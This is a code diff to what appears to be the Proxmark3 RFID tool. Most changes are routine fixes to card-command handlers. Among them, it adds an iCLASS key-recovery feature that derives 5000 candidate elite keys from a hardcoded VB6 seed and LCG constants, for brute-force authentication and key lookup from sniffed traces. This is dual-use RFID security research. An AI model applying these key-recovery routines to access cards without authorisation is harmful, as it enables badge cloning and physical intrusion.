PrintAndLogEx(FAILED, "Memory image is not matching tag structure."); PrintAndLogEx(FAILED, "Memory image empty.");
free(tag); free(tag);
return PM3_EINVARG; return PM3_EINVARG;
} }
if (bytes_read == 0) {
PrintAndLogEx(FAILED, "Memory image empty."); if (bytes_read != sizeof(iso15_tag_t)) {
PrintAndLogEx(FAILED, "Memory image is not matching tag structure.");
free(tag); free(tag);
return PM3_EINVARG; return PM3_EINVARG;
} }
@ -2694,7 +2729,7 @@ static int CmdHF15Restore(const char *Cmd) {
size_t bytes = 0; size_t bytes = 0;
uint16_t i = 0; uint16_t i = 0;
uint8_t *data = calloc(tag->bytesPerPage, sizeof(uint8_t)); uint8_t *data = calloc(tag->bytesPerPage, sizeof(uint8_t));
uint32_t tried = 0; uint32_t tried;
while (bytes < (tag->pagesCount * tag->bytesPerPage)) { while (bytes < (tag->pagesCount * tag->bytesPerPage)) {
// copy over the data to the request // copy over the data to the request
@ -3324,13 +3359,14 @@ static int CmdHF15View(const char *Cmd) {
return res; return res;
} }
if (bytes_read != sizeof(iso15_tag_t)) { if (bytes_read == 0) {
PrintAndLogEx(FAILED, "Memory image is not matching tag structure."); PrintAndLogEx(FAILED, "Memory image empty.");
free(tag); free(tag);
return PM3_EINVARG; return PM3_EINVARG;
} }
if (bytes_read == 0) {
PrintAndLogEx(FAILED, "Memory image empty."); if (bytes_read != sizeof(iso15_tag_t)) {
PrintAndLogEx(FAILED, "Memory image is not matching tag structure.");
free(tag); free(tag);
return PM3_EINVARG; return PM3_EINVARG;
} }

View file

@ -312,13 +312,13 @@ static int CmdHFFelicaList(const char *Cmd) {
int read_felica_uid(bool loop, bool verbose) { int read_felica_uid(bool loop, bool verbose) {
int res = PM3_SUCCESS; int res = PM3_ETIMEOUT;
do { do {
clearCommandBuffer(); clearCommandBuffer();
SendCommandMIX(CMD_HF_FELICA_COMMAND, FELICA_CONNECT, 0, 0, NULL, 0); SendCommandMIX(CMD_HF_FELICA_COMMAND, FELICA_CONNECT, 0, 0, NULL, 0);
PacketResponseNG resp; PacketResponseNG resp;
if (WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { if (WaitForResponseTimeout(CMD_ACK, &resp, 2500)) {
uint8_t status = resp.oldarg[0] & 0xFF; uint8_t status = resp.oldarg[0] & 0xFF;
@ -342,7 +342,10 @@ int read_felica_uid(bool loop, bool verbose) {
} }
PrintAndLogEx(SUCCESS, "IDm: " _GREEN_("%s"), sprint_hex_inrow(card.IDm, sizeof(card.IDm))); PrintAndLogEx(SUCCESS, "IDm: " _GREEN_("%s"), sprint_hex_inrow(card.IDm, sizeof(card.IDm)));
set_last_known_card(card); set_last_known_card(card);
res = PM3_SUCCESS;
} }
} while (loop && kbd_enter_pressed() == false); } while (loop && kbd_enter_pressed() == false);
DropField(); DropField();

View file

@ -3581,26 +3581,33 @@ static int CmdHFiClassCheckKeys(const char *Cmd) {
CLIParserInit(&ctx, "hf iclass chk", CLIParserInit(&ctx, "hf iclass chk",
"Checkkeys loads a dictionary text file with 8byte hex keys to test authenticating against a iClass tag", "Checkkeys loads a dictionary text file with 8byte hex keys to test authenticating against a iClass tag",
"hf iclass chk -f iclass_default_keys.dic\n" "hf iclass chk -f iclass_default_keys.dic\n"
"hf iclass chk -f iclass_default_keys.dic --elite"); "hf iclass chk -f iclass_elite_keys.dic --elite\n"
"hf iclass chk --vb6kdf\n");
void *argtable[] = { void *argtable[] = {
arg_param_begin, arg_param_begin,
arg_str1("f", "file", "<fn>", "Dictionary file with default iclass keys"), arg_str0("f", "file", "<fn>", "Dictionary file with default iclass keys"),
arg_lit0(NULL, "credit", "key is assumed to be the credit key"), arg_lit0(NULL, "credit", "key is assumed to be the credit key"),
arg_lit0(NULL, "elite", "elite computations applied to key"), arg_lit0(NULL, "elite", "elite computations applied to key"),
arg_lit0(NULL, "raw", "no computations applied to key (raw)"), arg_lit0(NULL, "raw", "no computations applied to key (raw)"),
arg_lit0(NULL, "shallow", "use shallow (ASK) reader modulation instead of OOK"), arg_lit0(NULL, "shallow", "use shallow (ASK) reader modulation instead of OOK"),
arg_lit0(NULL, "vb6kdf", "use the VB6 elite KDF instead of a file"),
arg_param_end arg_param_end
}; };
CLIExecWithReturn(ctx, Cmd, argtable, false); CLIExecWithReturn(ctx, Cmd, argtable, false);
int fnlen = 0; int fnlen = 0;
char filename[FILE_PATH_SIZE] = {0}; char filename[FILE_PATH_SIZE] = {0};
CLIParamStrToBuf(arg_get_str(ctx, 1), (uint8_t *)filename, FILE_PATH_SIZE, &fnlen); bool use_vb6kdf = arg_get_lit(ctx, 6);
bool use_credit_key = arg_get_lit(ctx, 2);
bool use_elite = arg_get_lit(ctx, 3); bool use_elite = arg_get_lit(ctx, 3);
bool use_raw = arg_get_lit(ctx, 4); bool use_raw = arg_get_lit(ctx, 4);
if(use_vb6kdf){
use_elite = true;
}else{
CLIParamStrToBuf(arg_get_str(ctx, 1), (uint8_t *)filename, FILE_PATH_SIZE, &fnlen);
}
bool use_credit_key = arg_get_lit(ctx, 2);
bool shallow_mod = arg_get_lit(ctx, 5); bool shallow_mod = arg_get_lit(ctx, 5);
CLIParserFree(ctx); CLIParserFree(ctx);
@ -3613,11 +3620,27 @@ static int CmdHFiClassCheckKeys(const char *Cmd) {
// load keys // load keys
uint8_t *keyBlock = NULL; uint8_t *keyBlock = NULL;
uint32_t keycount = 0; uint32_t keycount = 0;
if (!use_vb6kdf) {
// Load keys
int res = loadFileDICTIONARY_safe(filename, (void **)&keyBlock, 8, &keycount); int res = loadFileDICTIONARY_safe(filename, (void **)&keyBlock, 8, &keycount);
if (res != PM3_SUCCESS || keycount == 0) { if (res != PM3_SUCCESS || keycount == 0) {
free(keyBlock); free(keyBlock);
return res; return res;
} }
} else {
// Generate 5000 keys using VB6 KDF
keycount = 5000;
keyBlock = malloc(keycount * 8);
if (!keyBlock) {
return PM3_EMALLOC;
}
picopass_elite_reset();
for (uint32_t i = 0; i < keycount; i++) {
picopass_elite_nextKey(keyBlock + (i * 8));
}
}
// limit size of keys that can be held in memory // limit size of keys that can be held in memory
if (keycount > 100000) { if (keycount > 100000) {
@ -3774,29 +3797,84 @@ out:
// this method tries to identify in which configuration mode a iCLASS / iCLASS SE reader is in. // this method tries to identify in which configuration mode a iCLASS / iCLASS SE reader is in.
// Standard or Elite / HighSecurity mode. It uses a default key dictionary list in order to work. // Standard or Elite / HighSecurity mode. It uses a default key dictionary list in order to work.
#define INITIAL_SEED 0x429080 // VB6 KDF Seed Value
// Functions for generating keys using RNG
uint32_t seed = INITIAL_SEED;
uint8_t key_state[8];
bool prepared = false;
void picopass_elite_reset(void) {
memset(key_state, 0, sizeof(key_state));
seed = INITIAL_SEED;
prepared = false;
}
uint32_t picopass_elite_lcg(void) {
uint32_t mod = 0x1000000; // 2^24
uint32_t a = 0xFD43FD;
uint32_t c = 0xC39EC3;
return (a * seed + c) % mod;
}
uint32_t picopass_elite_rng(void) {
seed = picopass_elite_lcg();
return seed;
}
uint8_t picopass_elite_nextByte(void) {
return (picopass_elite_rng() >> 16) & 0xFF;
}
void picopass_elite_nextKey(uint8_t* key) {
if(prepared) {
for(size_t i = 0; i < 7; i++) {
key_state[i] = key_state[i + 1];
}
key_state[7] = picopass_elite_nextByte();
} else {
for(size_t i = 0; i < 8; i++) {
key_state[i] = picopass_elite_nextByte();
}
prepared = true;
}
memcpy(key, key_state, 8);
}
static int CmdHFiClassLookUp(const char *Cmd) { static int CmdHFiClassLookUp(const char *Cmd) {
CLIParserContext *ctx; CLIParserContext *ctx;
CLIParserInit(&ctx, "hf iclass lookup", CLIParserInit(&ctx, "hf iclass lookup",
"This command take sniffed trace data and try to recovery a iCLASS Standard or iCLASS Elite key.", "This command take sniffed trace data and try to recovery a iCLASS Standard or iCLASS Elite key.",
"hf iclass lookup --csn 9655a400f8ff12e0 --epurse f0ffffffffffffff --macs 0000000089cb984b -f iclass_default_keys.dic\n" "hf iclass lookup --csn 9655a400f8ff12e0 --epurse f0ffffffffffffff --macs 0000000089cb984b -f iclass_default_keys.dic\n"
"hf iclass lookup --csn 9655a400f8ff12e0 --epurse f0ffffffffffffff --macs 0000000089cb984b -f iclass_default_keys.dic --elite" "hf iclass lookup --csn 9655a400f8ff12e0 --epurse f0ffffffffffffff --macs 0000000089cb984b -f iclass_default_keys.dic --elite\n"
"hf iclass lookup --csn 9655a400f8ff12e0 --epurse f0ffffffffffffff --macs 0000000089cb984b --vb6rng"
); );
void *argtable[] = { void *argtable[] = {
arg_param_begin, arg_param_begin,
arg_str1("f", "file", "<fn>", "Dictionary file with default iclass keys"), arg_str0("f", "file", "<fn>", "Dictionary file with default iclass keys"),
arg_str1(NULL, "csn", "<hex>", "Specify CSN as 8 hex bytes"), arg_str1(NULL, "csn", "<hex>", "Specify CSN as 8 hex bytes"),
arg_str1(NULL, "epurse", "<hex>", "Specify ePurse as 8 hex bytes"), arg_str1(NULL, "epurse", "<hex>", "Specify ePurse as 8 hex bytes"),
arg_str1(NULL, "macs", "<hex>", "MACs"), arg_str1(NULL, "macs", "<hex>", "MACs"),
arg_lit0(NULL, "elite", "Elite computations applied to key"), arg_lit0(NULL, "elite", "Elite computations applied to key"),
arg_lit0(NULL, "raw", "no computations applied to key"), arg_lit0(NULL, "raw", "no computations applied to key"),
arg_lit0(NULL, "vb6rng", "use the VB6 rng for elite keys instead of a dictionary file"),
arg_param_end arg_param_end
}; };
CLIExecWithReturn(ctx, Cmd, argtable, false); CLIExecWithReturn(ctx, Cmd, argtable, false);
bool use_vb6kdf = arg_get_lit(ctx, 7);
int fnlen = 0; int fnlen = 0;
char filename[FILE_PATH_SIZE] = {0}; char filename[FILE_PATH_SIZE] = {0};
bool use_elite = arg_get_lit(ctx, 5);
bool use_raw = arg_get_lit(ctx, 6);
if(use_vb6kdf){
use_elite = true;
}else{
CLIParamStrToBuf(arg_get_str(ctx, 1), (uint8_t *)filename, FILE_PATH_SIZE, &fnlen); CLIParamStrToBuf(arg_get_str(ctx, 1), (uint8_t *)filename, FILE_PATH_SIZE, &fnlen);
}
int csn_len = 0; int csn_len = 0;
uint8_t csn[8] = {0}; uint8_t csn[8] = {0};
@ -3834,15 +3912,12 @@ static int CmdHFiClassLookUp(const char *Cmd) {
} }
} }
bool use_elite = arg_get_lit(ctx, 5);
bool use_raw = arg_get_lit(ctx, 6);
CLIParserFree(ctx); CLIParserFree(ctx);
uint8_t CCNR[12]; uint8_t CCNR[12];
uint8_t MAC_TAG[4] = { 0, 0, 0, 0 }; uint8_t MAC_TAG[4] = { 0, 0, 0, 0 };
// stupid copy.. CCNR is a combo of epurse and reader nonce // Stupid copy.. CCNR is a combo of epurse and reader nonce
memcpy(CCNR, epurse, 8); memcpy(CCNR, epurse, 8);
memcpy(CCNR + 8, macs, 4); memcpy(CCNR + 8, macs, 4);
memcpy(MAC_TAG, macs + 4, 4); memcpy(MAC_TAG, macs + 4, 4);
@ -3853,20 +3928,34 @@ static int CmdHFiClassLookUp(const char *Cmd) {
PrintAndLogEx(SUCCESS, " CCNR: " _GREEN_("%s"), sprint_hex(CCNR, sizeof(CCNR))); PrintAndLogEx(SUCCESS, " CCNR: " _GREEN_("%s"), sprint_hex(CCNR, sizeof(CCNR)));
PrintAndLogEx(SUCCESS, "TAG MAC: %s", sprint_hex(MAC_TAG, sizeof(MAC_TAG))); PrintAndLogEx(SUCCESS, "TAG MAC: %s", sprint_hex(MAC_TAG, sizeof(MAC_TAG)));
// run time // Run time
uint64_t t1 = msclock(); uint64_t t1 = msclock();
uint8_t *keyBlock = NULL; uint8_t *keyBlock = NULL;
uint32_t keycount = 0; uint32_t keycount = 0;
// load keys if (!use_vb6kdf) {
// Load keys
int res = loadFileDICTIONARY_safe(filename, (void **)&keyBlock, 8, &keycount); int res = loadFileDICTIONARY_safe(filename, (void **)&keyBlock, 8, &keycount);
if (res != PM3_SUCCESS || keycount == 0) { if (res != PM3_SUCCESS || keycount == 0) {
free(keyBlock); free(keyBlock);
return res; return res;
} }
} else {
// Generate 5000 keys using VB6 KDF
keycount = 5000;
keyBlock = malloc(keycount * 8);
if (!keyBlock) {
return PM3_EMALLOC;
}
//iclass_prekey_t picopass_elite_reset();
for (uint32_t i = 0; i < keycount; i++) {
picopass_elite_nextKey(keyBlock + (i * 8));
}
}
// Iclass_prekey_t
iclass_prekey_t *prekey = calloc(keycount, sizeof(iclass_prekey_t)); iclass_prekey_t *prekey = calloc(keycount, sizeof(iclass_prekey_t));
if (!prekey) { if (!prekey) {
free(keyBlock); free(keyBlock);
@ -3883,7 +3972,7 @@ static int CmdHFiClassLookUp(const char *Cmd) {
PrintAndLogEx(INFO, "Sorting..."); PrintAndLogEx(INFO, "Sorting...");
// sort mac list. // Sort mac list
qsort(prekey, keycount, sizeof(iclass_prekey_t), cmp_uint32); qsort(prekey, keycount, sizeof(iclass_prekey_t), cmp_uint32);
PrintAndLogEx(SUCCESS, "Searching for " _YELLOW_("%s") " key...", "DEBIT"); PrintAndLogEx(SUCCESS, "Searching for " _YELLOW_("%s") " key...", "DEBIT");
@ -3891,7 +3980,7 @@ static int CmdHFiClassLookUp(const char *Cmd) {
iclass_prekey_t lookup; iclass_prekey_t lookup;
memcpy(lookup.mac, MAC_TAG, 4); memcpy(lookup.mac, MAC_TAG, 4);
// binsearch // Binsearch
item = (iclass_prekey_t *) bsearch(&lookup, prekey, keycount, sizeof(iclass_prekey_t), cmp_uint32); item = (iclass_prekey_t *) bsearch(&lookup, prekey, keycount, sizeof(iclass_prekey_t), cmp_uint32);
if (item != NULL) { if (item != NULL) {
@ -3900,7 +3989,7 @@ static int CmdHFiClassLookUp(const char *Cmd) {
} }
t1 = msclock() - t1; t1 = msclock() - t1;
PrintAndLogEx(SUCCESS, "time in iclass lookup " _YELLOW_("%.3f") " seconds", (float)t1 / 1000.0); PrintAndLogEx(SUCCESS, "Time in iclass lookup " _YELLOW_("%.3f") " seconds", (float)t1 / 1000.0);
free(prekey); free(prekey);
free(keyBlock); free(keyBlock);

View file

@ -36,4 +36,10 @@ void PrintPreCalc(iclass_prekey_t *list, uint32_t itemcnt);
uint8_t get_pagemap(const picopass_hdr_t *hdr); uint8_t get_pagemap(const picopass_hdr_t *hdr);
bool check_known_default(uint8_t *csn, uint8_t *epurse, uint8_t *rmac, uint8_t *tmac, uint8_t *key); bool check_known_default(uint8_t *csn, uint8_t *epurse, uint8_t *rmac, uint8_t *tmac, uint8_t *key);
void picopass_elite_nextKey(uint8_t* key);
void picopass_elite_reset(void);
uint32_t picopass_elite_rng(void);
uint32_t picopass_elite_lcg(void);
uint8_t picopass_elite_nextByte(void);
#endif #endif

View file

@ -120,7 +120,7 @@ static int derive_app_key(uint8_t *uid, uint8_t *app_key) {
} }
// Might miss payload.. // Might miss payload..
static int diversify_mifare_key(uint8_t *uid, uint8_t *app_key) { static int diversify_mifare_key(const uint8_t *uid, uint8_t *app_key) {
if (uid == NULL || app_key == NULL) { if (uid == NULL || app_key == NULL) {
return PM3_EINVARG; return PM3_EINVARG;
} }
@ -152,7 +152,7 @@ static int diversify_mifare_key(uint8_t *uid, uint8_t *app_key) {
return PM3_SUCCESS; return PM3_SUCCESS;
} }
static int decrypt_card_sector(uint8_t *uid, uint8_t *sector_data, uint8_t len, uint8_t *plain) { static int decrypt_card_sector(uint8_t *uid, const uint8_t *sector_data, uint8_t len, uint8_t *plain) {
if (uid == NULL || sector_data == NULL || plain == NULL) { if (uid == NULL || sector_data == NULL || plain == NULL) {
return PM3_EINVARG; return PM3_EINVARG;
} }
@ -203,7 +203,7 @@ static int derive_mifare_key_b(uint8_t *uid, uint8_t *app_key) {
return derive_mifare_key(uid, ICT_MIFARE_B_KEY, app_key); return derive_mifare_key(uid, ICT_MIFARE_B_KEY, app_key);
} }
static int decrypt_card_file(uint8_t *card_file, uint8_t len, uint8_t *plain) { static int decrypt_card_file(const uint8_t *card_file, uint8_t len, uint8_t *plain) {
if (card_file == NULL || plain == NULL) { if (card_file == NULL || plain == NULL) {
return PM3_EINVARG; return PM3_EINVARG;
} }
@ -211,7 +211,7 @@ static int decrypt_card_file(uint8_t *card_file, uint8_t len, uint8_t *plain) {
uint8_t input[ICT_FILE_SIZE]; uint8_t input[ICT_FILE_SIZE];
memcpy(input, card_file, len); memcpy(input, card_file, len);
uint8_t key[AES_KEY_LEN]; uint8_t key[AES_KEY_LEN] = {0};
// memcpy(key, ICT_DESFIRE_FILEKEY, AES_KEY_LEN); // memcpy(key, ICT_DESFIRE_FILEKEY, AES_KEY_LEN);
uint8_t iv[16] = {0}; uint8_t iv[16] = {0};
@ -230,7 +230,7 @@ static int decrypt_card_file(uint8_t *card_file, uint8_t len, uint8_t *plain) {
return PM3_SUCCESS; return PM3_SUCCESS;
} }
static int encrypt_card_file(uint8_t *card_file, uint8_t len, bool padding, uint8_t *enc) { static int encrypt_card_file(const uint8_t *card_file, uint8_t len, bool padding, uint8_t *enc) {
if (len > ICT_FILE_SIZE) { if (len > ICT_FILE_SIZE) {
return PM3_EINVARG; return PM3_EINVARG;
@ -243,7 +243,7 @@ static int encrypt_card_file(uint8_t *card_file, uint8_t len, bool padding, uint
memset(input + len, 0x4C, 128 - len); memset(input + len, 0x4C, 128 - len);
} }
uint8_t key[AES_KEY_LEN]; uint8_t key[AES_KEY_LEN] = {0};
// memcpy(key, ICT_DESFIRE_FILEKEY, AES_KEY_LEN); // memcpy(key, ICT_DESFIRE_FILEKEY, AES_KEY_LEN);
uint8_t iv[16] = {0}; uint8_t iv[16] = {0};
@ -262,7 +262,7 @@ static int encrypt_card_file(uint8_t *card_file, uint8_t len, bool padding, uint
return PM3_SUCCESS; return PM3_SUCCESS;
} }
static void itc_decode_card_blob(uint8_t *data, uint8_t card_type) { static void itc_decode_card_blob(const uint8_t *data, uint8_t card_type) {
if (data == NULL) { if (data == NULL) {
return; return;
} }

View file

@ -3253,7 +3253,7 @@ int CmdHF14MfUTamper(const char *Cmd) {
} }
} }
if (enable | disable | lock_msg) { if (enable || disable || lock_msg) {
if (ul_select(&card) == false) { if (ul_select(&card) == false) {
PrintAndLogEx(ERR, "Unable to select tag"); PrintAndLogEx(ERR, "Unable to select tag");

View file

@ -38,6 +38,7 @@
// NTAG424 commands currently implemented // NTAG424 commands currently implemented
// icenam: should be able to use 14a / msdes to annotate NTAG424 communications
#define NTAG424_CMD_GET_FILE_SETTINGS 0xF5 #define NTAG424_CMD_GET_FILE_SETTINGS 0xF5
#define NTAG424_CMD_CHANGE_FILE_SETTINGS 0x5F #define NTAG424_CMD_CHANGE_FILE_SETTINGS 0x5F
#define NTAG424_CMD_CHANGE_KEY 0xC4 #define NTAG424_CMD_CHANGE_KEY 0xC4
@ -280,7 +281,7 @@ static void ntag424_calc_receive_iv(ntag424_session_keys_t *session_keys, uint8_
aes_encode(zero_iv, session_keys->encryption, iv_clear, out_ivc, 16); aes_encode(zero_iv, session_keys->encryption, iv_clear, out_ivc, 16);
} }
static void ntag424_calc_mac(ntag424_session_keys_t *session_keys, uint8_t command, uint8_t *data, uint8_t datalen, uint8_t *out_mac) { static void ntag424_calc_mac(const ntag424_session_keys_t *session_keys, uint8_t command, const uint8_t *data, uint8_t datalen, uint8_t *out_mac) {
uint8_t mac_input_header[] = { command, uint8_t mac_input_header[] = { command,
(uint8_t)session_keys->command_counter, (uint8_t)(session_keys->command_counter >> 8), (uint8_t)session_keys->command_counter, (uint8_t)(session_keys->command_counter >> 8),
session_keys->ti[0], session_keys->ti[1], session_keys->ti[2], session_keys->ti[3] session_keys->ti[0], session_keys->ti[1], session_keys->ti[2], session_keys->ti[3]
@ -445,7 +446,7 @@ static int ntag424_get_file_settings(uint8_t fileno, ntag424_file_settings_t *se
return PM3_SUCCESS; return PM3_SUCCESS;
} }
static int ntag424_write_file_settings(uint8_t fileno, ntag424_file_settings_t *settings, ntag424_session_keys_t *session_keys) { static int ntag424_write_file_settings(uint8_t fileno, const ntag424_file_settings_t *settings, ntag424_session_keys_t *session_keys) {
// ------- Convert file settings to the format for writing // ------- Convert file settings to the format for writing
file_settings_write_t write_settings = { file_settings_write_t write_settings = {
@ -807,7 +808,7 @@ static int ntag424_get_signature(uint8_t *signature_out) {
return PM3_SUCCESS; return PM3_SUCCESS;
} }
static int ntag424_change_key(uint8_t keyno, uint8_t *new_key, uint8_t *old_key, uint8_t version, ntag424_session_keys_t *session_keys) { static int ntag424_change_key(uint8_t keyno, const uint8_t *new_key, const uint8_t *old_key, uint8_t version, ntag424_session_keys_t *session_keys) {
// -------- Calculate xor and crc // -------- Calculate xor and crc
uint8_t key[16] = {0}; uint8_t key[16] = {0};
uint8_t crc[4] = {0}; uint8_t crc[4] = {0};
@ -965,7 +966,7 @@ static int CmdHF_ntag424_auth(const char *Cmd) {
}; };
CLIExecWithReturn(ctx, Cmd, argtable, false); CLIExecWithReturn(ctx, Cmd, argtable, false);
int keyno; int keyno = 0;
uint8_t key[16] = {0}; uint8_t key[16] = {0};
if (ntag424_cli_get_auth_information(ctx, 1, 2, &keyno, key) != PM3_SUCCESS) { if (ntag424_cli_get_auth_information(ctx, 1, 2, &keyno, key) != PM3_SUCCESS) {
CLIParserFree(ctx); CLIParserFree(ctx);
@ -1019,7 +1020,7 @@ static int CmdHF_ntag424_read(const char *Cmd) {
int fileno = arg_get_int(ctx, 1); int fileno = arg_get_int(ctx, 1);
int keyno; int keyno = 0;
uint8_t key[16] = {0}; uint8_t key[16] = {0};
bool auth = (ntag424_cli_get_auth_information(ctx, 2, 3, &keyno, key) == PM3_SUCCESS); bool auth = (ntag424_cli_get_auth_information(ctx, 2, 3, &keyno, key) == PM3_SUCCESS);
@ -1248,7 +1249,7 @@ static int CmdHF_ntag424_changefilesettings(const char *Cmd) {
CLIExecWithReturn(ctx, Cmd, argtable, false); CLIExecWithReturn(ctx, Cmd, argtable, false);
int fileno = arg_get_int(ctx, 1); int fileno = arg_get_int(ctx, 1);
int keyno; int keyno = 0;
uint8_t key[16] = {0}; uint8_t key[16] = {0};
uint8_t has_options = 0; uint8_t has_options = 0;

View file

@ -289,8 +289,9 @@ int CmdLFCommandRead(const char *Cmd) {
bool cm = arg_get_lit(ctx, 10); bool cm = arg_get_lit(ctx, 10);
CLIParserFree(ctx); CLIParserFree(ctx);
if (g_session.pm3_present == false) if (g_session.pm3_present == false) {
return PM3_ENOTTY; return PM3_ENOTTY;
}
#define PAYLOAD_HEADER_SIZE (12 + (3 * LF_CMDREAD_MAX_EXTRA_SYMBOLS)) #define PAYLOAD_HEADER_SIZE (12 + (3 * LF_CMDREAD_MAX_EXTRA_SYMBOLS))
struct p { struct p {
@ -311,6 +312,7 @@ int CmdLFCommandRead(const char *Cmd) {
payload.keep_field_on = keep_field_on; payload.keep_field_on = keep_field_on;
payload.verbose = verbose; payload.verbose = verbose;
memset(payload.symbol_extra, 0, sizeof(payload.symbol_extra)); memset(payload.symbol_extra, 0, sizeof(payload.symbol_extra));
memset(payload.period_extra, 0, sizeof(payload.period_extra));
if (add_crc_ht && (cmd_len <= 120)) { if (add_crc_ht && (cmd_len <= 120)) {
// Hitag 1, Hitag S, ZX8211 // Hitag 1, Hitag S, ZX8211

View file

@ -164,10 +164,18 @@ typedef struct _em4x70_cmd_input_verify_auth_t {
ID48LIB_GRN grn; ID48LIB_GRN grn;
} em4x70_cmd_input_verify_auth_t; } em4x70_cmd_input_verify_auth_t;
static int CmdHelp(const char *Cmd); typedef struct _em4x70_cmd_input_calculate_t {
ID48LIB_KEY key;
ID48LIB_NONCE rn;
} em4x70_cmd_input_calculate_t;
typedef struct _em4x70_cmd_output_calculate_t {
ID48LIB_FRN frn;
ID48LIB_GRN grn;
} em4x70_cmd_output_calculate_t;
static void fill_buffer_prng_bytes(void *buffer, size_t byte_count) { static void fill_buffer_prng_bytes(void *buffer, size_t byte_count) {
if (byte_count <= 0) { if (byte_count == 0) {
return; return;
} }
@ -225,14 +233,10 @@ static int get_em4x70_info(const em4x70_cmd_input_info_t *opts, em4x70_tag_info_
if (WaitForResponseTimeout(CMD_LF_EM4X70_INFO, &resp, TIMEOUT) == false) { if (WaitForResponseTimeout(CMD_LF_EM4X70_INFO, &resp, TIMEOUT) == false) {
return PM3_ETIMEOUT; return PM3_ETIMEOUT;
} }
if (resp.status == PM3_SUCCESS) {
//iceman: prefer to have specific return code check.
// like resp.status != PM3_SUCCESS if looking for failure
if (resp.status) {
memcpy(data_out, resp.data.asBytes, sizeof(em4x70_tag_info_t)); memcpy(data_out, resp.data.asBytes, sizeof(em4x70_tag_info_t));
return PM3_SUCCESS;
} }
return PM3_ESOFT; return resp.status;
} }
static int writeblock_em4x70(const em4x70_cmd_input_writeblock_t *opts, em4x70_tag_info_t *data_out) { static int writeblock_em4x70(const em4x70_cmd_input_writeblock_t *opts, em4x70_tag_info_t *data_out) {
@ -251,14 +255,10 @@ static int writeblock_em4x70(const em4x70_cmd_input_writeblock_t *opts, em4x70_t
if (WaitForResponseTimeout(CMD_LF_EM4X70_WRITE, &resp, TIMEOUT) == false) { if (WaitForResponseTimeout(CMD_LF_EM4X70_WRITE, &resp, TIMEOUT) == false) {
return PM3_ETIMEOUT; return PM3_ETIMEOUT;
} }
if (resp.status == PM3_SUCCESS) {
//iceman: prefer to have specific return code check.
// like resp.status != PM3_SUCCESS if looking for failure
if (resp.status) {
memcpy(data_out, resp.data.asBytes, sizeof(em4x70_tag_info_t)); memcpy(data_out, resp.data.asBytes, sizeof(em4x70_tag_info_t));
return PM3_SUCCESS;
} }
return PM3_ESOFT; return resp.status;
} }
static int auth_em4x70(const em4x70_cmd_input_auth_t *opts, em4x70_cmd_output_auth_t *data_out) { static int auth_em4x70(const em4x70_cmd_input_auth_t *opts, em4x70_cmd_output_auth_t *data_out) {
@ -276,20 +276,15 @@ static int auth_em4x70(const em4x70_cmd_input_auth_t *opts, em4x70_cmd_output_au
if (WaitForResponseTimeout(CMD_LF_EM4X70_AUTH, &resp, TIMEOUT) == false) { if (WaitForResponseTimeout(CMD_LF_EM4X70_AUTH, &resp, TIMEOUT) == false) {
return PM3_ETIMEOUT; return PM3_ETIMEOUT;
} }
if (resp.status == PM3_SUCCESS) {
//iceman: prefer to have specific return code check.
// like resp.status != PM3_SUCCESS if looking for failure
if (resp.status) {
// Response is 20-bit from tag // Response is 20-bit from tag
// HACKHACK -- It appears the byte order differs from what is expected? // HACKHACK -- It appears the byte order differs from what is expected?
data_out->grn.grn[0] = resp.data.asBytes[2]; data_out->grn.grn[0] = resp.data.asBytes[2];
data_out->grn.grn[1] = resp.data.asBytes[1]; data_out->grn.grn[1] = resp.data.asBytes[1];
data_out->grn.grn[2] = resp.data.asBytes[0]; data_out->grn.grn[2] = resp.data.asBytes[0];
//memcpy(data_out, &resp.data.asBytes[0], sizeof(ID48LIB_GRN)); //memcpy(data_out, &resp.data.asBytes[0], sizeof(ID48LIB_GRN));
return PM3_SUCCESS;
} }
return PM3_ESOFT; return resp.status;
} }
static int setkey_em4x70(const em4x70_cmd_input_setkey_t *opts) { static int setkey_em4x70(const em4x70_cmd_input_setkey_t *opts) {
@ -305,13 +300,7 @@ static int setkey_em4x70(const em4x70_cmd_input_setkey_t *opts) {
if (WaitForResponseTimeout(CMD_LF_EM4X70_SETKEY, &resp, TIMEOUT) == false) { if (WaitForResponseTimeout(CMD_LF_EM4X70_SETKEY, &resp, TIMEOUT) == false) {
return PM3_ETIMEOUT; return PM3_ETIMEOUT;
} }
return resp.status;
//iceman: prefer to have specific return code check.
// like resp.status != PM3_SUCCESS if looking for failure
if (resp.status) {
return PM3_SUCCESS;
}
return PM3_ESOFT;
} }
static int brute_em4x70(const em4x70_cmd_input_brute_t *opts, em4x70_cmd_output_brute_t *data_out) { static int brute_em4x70(const em4x70_cmd_input_brute_t *opts, em4x70_cmd_output_brute_t *data_out) {
@ -346,14 +335,10 @@ static int brute_em4x70(const em4x70_cmd_input_brute_t *opts, em4x70_cmd_output_
} }
if (WaitForResponseTimeout(CMD_LF_EM4X70_BRUTE, &resp, TIMEOUT)) { if (WaitForResponseTimeout(CMD_LF_EM4X70_BRUTE, &resp, TIMEOUT)) {
if (resp.status == PM3_SUCCESS) {
//iceman: prefer to have specific return code check.
// like resp.status != PM3_SUCCESS if looking for failure
if (resp.status) {
memcpy(data_out, resp.data.asBytes, sizeof(em4x70_cmd_output_brute_t)); memcpy(data_out, resp.data.asBytes, sizeof(em4x70_cmd_output_brute_t));
return PM3_SUCCESS;
} }
return PM3_ESOFT; return resp.status;
} }
// NOTE: It takes about 11 seconds per 0x0100 authentication attempts. // NOTE: It takes about 11 seconds per 0x0100 authentication attempts.
@ -383,15 +368,10 @@ static int unlock_em4x70(const em4x70_cmd_input_unlock_t *opts, em4x70_tag_info_
if (WaitForResponseTimeout(CMD_LF_EM4X70_UNLOCK, &resp, TIMEOUT) == false) { if (WaitForResponseTimeout(CMD_LF_EM4X70_UNLOCK, &resp, TIMEOUT) == false) {
return PM3_ETIMEOUT; return PM3_ETIMEOUT;
} }
if (resp.status == PM3_SUCCESS) {
//iceman: prefer to have specific return code check.
// like resp.status != PM3_SUCCESS if looking for failure
if (resp.status) {
memcpy(data_out, resp.data.asBytes, sizeof(em4x70_tag_info_t)); memcpy(data_out, resp.data.asBytes, sizeof(em4x70_tag_info_t));
return PM3_SUCCESS;
} }
return PM3_ESOFT; return resp.status;
} }
static int setpin_em4x70(const em4x70_cmd_input_setpin_t *opts, em4x70_tag_info_t *data_out) { static int setpin_em4x70(const em4x70_cmd_input_setpin_t *opts, em4x70_tag_info_t *data_out) {
@ -408,14 +388,10 @@ static int setpin_em4x70(const em4x70_cmd_input_setpin_t *opts, em4x70_tag_info_
